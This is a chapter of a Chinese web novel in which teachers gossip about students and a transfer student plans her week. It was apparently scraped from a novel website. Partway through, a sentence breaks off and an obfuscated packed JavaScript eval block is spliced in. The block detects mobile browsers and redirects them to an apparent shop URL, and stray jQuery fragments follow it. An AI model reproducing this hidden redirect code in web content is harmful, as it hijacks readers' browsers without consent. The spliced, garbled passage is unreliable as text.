5.Chap.05

作品:《小绿,小绿

    ·


    “诶,不如你们猜猜看,周小茅这次要挑战谁?”


    课间,办公室里,班主任把这件事当谈资,挺着大肚腩手持茶叶杯,还要装高深莫测。


    物理老师手上翻着收缴上来的武侠小说,笑着接话:“肯定是转学生喽!周小茅打遍年级无敌手,也就转学生实力未知,还能战一战。”


    “没错!她是选了祝懿。但是嘛……”班主任苦笑,“祝懿选的是陈嘉绿。”


    “喔!陈嘉绿——”几位老师齐齐嘘一声。


    这个名字在年级里,比周小茅还要有名。一些学生纯来混日子,成绩烂到地心,对年级第一是谁并不关心,但若说到陈嘉绿,他们一准鼓噪起哄。


    连外班老师也对她的事迹有所耳闻,惊奇地问:“不是说转学生成绩很好么?怎么会想要挑战陈嘉绿?”


    “刚来嘛,可能还没搞清状况,就选了自己舍友,也不奇怪。”


    “她们还住一间?你怎么想的,不怕好苗子被带坏?”外班老师打趣。


    “周小茅也住那间啊!还不是常年考第一?”班主任不以为然,嘬一口热茶,“再说,只有她们那间有空位。都说王不见王,我看不一定,搞不好能激发她们的竞争心态呢。”


    这时,一直埋头批改小测的英语老师提出质疑:“确定是王不见王?你看——”她展示出一张试卷,“是我们转学生的,她把最简单的情景交际都做错了,这种题型明明就是送分的嘛!”


    “不能吧?”班主任将信将疑,接过卷子看。


    物理老师插嘴:“也许是粗心了。”


    英语老师摇头:“别太偏袒噢!如果她想和周小茅较量,这种粗心就不应该发生。越是高水平的学生,越要懂得规避低级错误。”


    物理老师笑意盈盈:“既然你说我偏袒,那我就偏袒一下好了。我倒是觉得祝懿解题意识在周小茅之上,她太灵敏了,看到题目的第一眼就能判断解题方向,简直像直觉,我还是第一次碰见这样的学生。”


    “灵敏?”英语老师大惊,起身从班主任手中拿过祝懿的试卷,铺到物理老师面前,“我改卷子时还在感叹这孩子怎么这么讷!你看她写的这篇作文,虽然没有拼写和语法上的毛病,但感觉很奇怪!怎么说呢……就像用电脑翻译来回倒腾过几遍。与之相比,周小茅有灵气多了!”


    物理老师吓得连连摆手:“别给我看,我看到英文就头晕。”又总结说:“说白了,就是偏科呗。”


    英语老师收走试卷,坐回自己位置:“其实没到偏科的地步,137分,已经算很优秀了。我只是想不通,为什么只要稍微把题目出得绕一点,她就读不懂。她好像只能读懂直来直去的句子。”


    物理老师幽幽地说:“你不觉得她整个人都是这样么?”


    英语老师恍然大悟:“噢!我就说这孩子哪里怪怪的。”


    两位终于达成一致的女老师笑成一团。


    这时候,办公室门口出现一声“报告”,有学生过来。


    老师们赶紧收收笑。英语老师抬头看一眼:“进。哦,你来得正巧,小测我改完了,你拿回去发了吧。”


    陈嘉绿点点头,走到她办公桌前,将一卷纸币放下:“这是听力书的资料费,各组都收齐了,一共一千二百八十八块,您点一下。”


    英语老师手指飞动,很快将钱数过一遍,笑眯眯:“正正好。辛苦了。”


    陈嘉绿也笑一下,抱起测试卷,离开了办公室,长发挂在耳后,安静而乖巧,以至于一时间叫人忘记,这所学校是不许学生披散长发的。


    办公室的空气诡奇地凝滞着。


    大约几位老师不谋而同,记起一件往事。


    那是去年,选过文理科重新分班后的第一天,陈嘉绿被班主任带到办公室里来谈话。当时的陈嘉绿在年级里已经很惹眼,尽管她成绩平平,相貌也并非第一眼的漂亮,但那出格的举止却是独一份的。


    还互不熟悉,班主任也就没有直接批评,只是问一问她,为什么没绑起头发。难道读到高二了,还不了解校规么?


    陈嘉绿垂眼沉默一阵,忽然撑起唇角对班主任笑,说:“我从小没有妈妈,没人教我怎么绑头发。”


    班主任大惊,办公室里正在笑谈的老师们也一下顿住,面面相觑。


    竟是这样的原因么?此时此刻,所有人都在懊悔,为自己从前那些莫名的揣度和厌恶;此时此刻,所有人也都相信,她嘴边的那抹笑是故作坚强。


    办公室里愔然一片。最后,是英语老师站起身来,笑着招呼她:“过来过来,我教你绑头发。”


    英语老师给陈嘉绿绑了一只马尾,又从耳边挑出几缕碎发修饰,最后推给所有老师看:“多漂亮,多利落。”


    其他老师看着,嘴边都噙起笑意。


    当天的英语课上,英语老师在班里选了一位课代表。尽管陈嘉绿的英语成绩在班里只是偏上,但她还是当选了。


    如果一切在这里结束,那就不失为一个温情动人的故事,事实上,所有人也都是这样以为的。只是,第二天,陈嘉绿过来上学,依旧长发飘飘,身上那股疏懒松散的劲儿,更是一丁点没少。


    班主任瞬间明白过来,被骗了。


    当老师这么些年,不是没有学生对他撒谎,但是,以“没有妈妈”为由撒谎的,陈嘉绿是第一个。


    他看过陈嘉绿的家庭信息表,母亲一栏空缺。这才更让他感到困惑,究竟是怎样的一个孩子,会大剌剌撕开这种伤痛,只为给自己辩护?


    不能说是没心没肺,怕是有点狼心狗肺了。


    从那以后,被玩弄了一通真情实感的老师们多少有点不太待见这位学生。同时,他们也不再去管她散落的长发。要怎么管?只怕一管,又要拿她没有妈妈说事。


    办公室沉寂良久,外班老师突然开口:“你让她收钱,很放心哦?”


    英语老师轻笑:“有什么不放心?至少她当课代表以后,还没有出过岔子。”说着,她拿起桌上那一卷钱,扬了扬,“而且,她还会去小卖部把零钱换成整钱,方便我数。”


    默了默,她叹下一口气:“唉!小孩子就是很奇怪。”


    老教师拿着教案从外面回来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907747|191780||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,刚好听到叹气声,笑问:“又是哪个学生让你头疼?”办公室里的气氛瞬间又不对了,老师们都知道,若提陈嘉绿,老教师怕是会被气到横着出去。


    毕竟,真正让陈嘉绿名扬全年级的,正是她与老教师之间的过节。


    英语老师打马虎眼儿,胡乱抱怨:“当然每个学生都让我头疼!”


    老教师哈哈笑起来:“你们年轻教师不是一向自诩能和学生打成一片吗?怎么也有今天?”又说了几句玩笑话,老教师从教案中拿出一张表,递给班主任:“喏,新课表排出来了。”


    很快,新课表张贴在了教室黑板旁,下周启用。


    “要死!你们看了吗?新课表上全都是连堂课!周一四节数学,周二六节物理!”新课表很快在同学间引起轩然大波。


    “高三要总复习嘛!连堂课才够用,不然讲两道题,45分钟就没了,够干什么?”


    有人翻白眼:“呵!讲课是够用了,怎么不考虑我脑子够不够用?”


    也有一小撮人不关心新课表,只关心刚发下来的英语小测,四处打听周小茅和祝懿谁考得更高。


    “当然是周小茅啦!她考142欸!好像只有她考一百四以上。”


    周小茅手指紧攥着试卷边缘,听到身后传来这样的声音,才悄然松下一口气。飞快向祝懿瞟过去一眼,看到她把热得通红的脸颊贴在课桌上,没有睡觉,就是发呆。她的测试卷轻飘飘地放在旁边,仍是下发时横七竖八的姿态。


    她都没有拿起来看一眼分数。


    周小茅张开手指,松掉试卷,忽然觉得很讨厌她。明明是她先挑衅,却也是她不回应,不在意。


    那张被冷落的试卷轻微地抖动起来,扑棱棱的,像振翅的蝶。祝懿的目光被它引过去,看着它越抖越剧烈,终于在它即将被掀翻的那一刻,伸手按住了它。


    她直起身看向窗外——起风了。


    上完周五的晚自习,仍不能放假,周六还要上早读,外加两节课。


    放学后,祝懿关紧身边的窗户,怕夜里下雨。要是雨水潲进来,她的书会被泡透。


    她没有着急离开教室,而是去黑板旁记新课表。


    “记它干什么?”池久薇路过她时,不解地说,“每天都会有值日生把课表写在黑板上啊。”


    祝懿慢吞吞摇头:“要记的。我需要提前知道每天上什么课,才能做好计划。”


    “随你。”池久薇没管她,径自离开了。


    其他同学也很快走光。偌大的教室里,祝懿孤零零站在前面,边看课表边在心里默默安排下一周的每一天自己要做什么。


    教学楼空空荡荡,灯火通明。


    照例把发呆时间安排在周五晚上,祝懿满意地拎了拎嘴角。这是她习惯的事,每天走同样的路,吃同样的食物,按照计划度过每一分每一秒。


    教室外面轰隆隆地传来声响,也如她预测的那般,夜间暴雨侵袭而至,噼里啪啦打在玻璃窗上。


    “嘭”的一声,教室后门被推开,她以为是风。


    然而一回头,陈嘉绿闯了进来。